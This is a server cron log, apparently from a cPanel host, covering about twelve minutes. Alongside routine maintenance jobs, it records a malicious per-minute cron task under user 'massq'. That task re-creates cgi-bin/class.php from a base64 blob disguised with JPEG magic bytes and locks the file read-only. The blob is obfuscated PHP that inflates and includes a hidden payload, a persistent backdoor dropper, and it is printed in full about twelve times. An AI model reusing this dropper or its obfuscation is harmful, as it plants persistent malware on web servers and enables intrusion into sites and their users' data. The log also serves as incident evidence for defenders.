Sep  7 17:18:01 server CROND[12615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:18:01 server CROND[12616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:18:01 server CROND[12617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:19:01 server CROND[12992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:19:01 server CROND[12993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:19:01 server CROND[12994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:20:01 server CROND[13387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:20:01 server CROND[13390]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:20:01 server CROND[13395]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:20:01 server CROND[13392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:20:01 server CROND[13393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:20:01 server CROND[13396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:20:01 server CROND[13397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:20:01 server CROND[13391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:20:01 server CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:21:01 server CROND[14341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:21:01 server CROND[14342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:21:01 server CROND[14343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:22:01 server CROND[14784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:22:01 server CROND[14785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:22:01 server CROND[14786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:23:02 server CROND[15206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:23:02 server CROND[15207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:23:02 server CROND[15208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:24:01 server CROND[15585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:24:01 server CROND[15586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:24:01 server CROND[15587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:25:01 server CROND[15961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:25:01 server CROND[15962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:25:01 server CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:25:01 server CROND[15978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:25:01 server CROND[15977]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:25:01 server CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:25:01 server CROND[15979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:26:01 server CROND[16869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:26:01 server CROND[16870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:26:01 server CROND[16871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:27:01 server CROND[17239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:27:01 server CROND[17241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:27:01 server CROND[17242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:27:01 server CROND[17243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:28:01 server CROND[17611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:28:01 server CROND[17612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:28:01 server CROND[17613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:29:01 server CROND[17979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:29:01 server CROND[17980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:29:01 server CROND[17981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:30:01 server CROND[18374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:30:01 server CROND[18376]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:30:01 server CROND[18377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
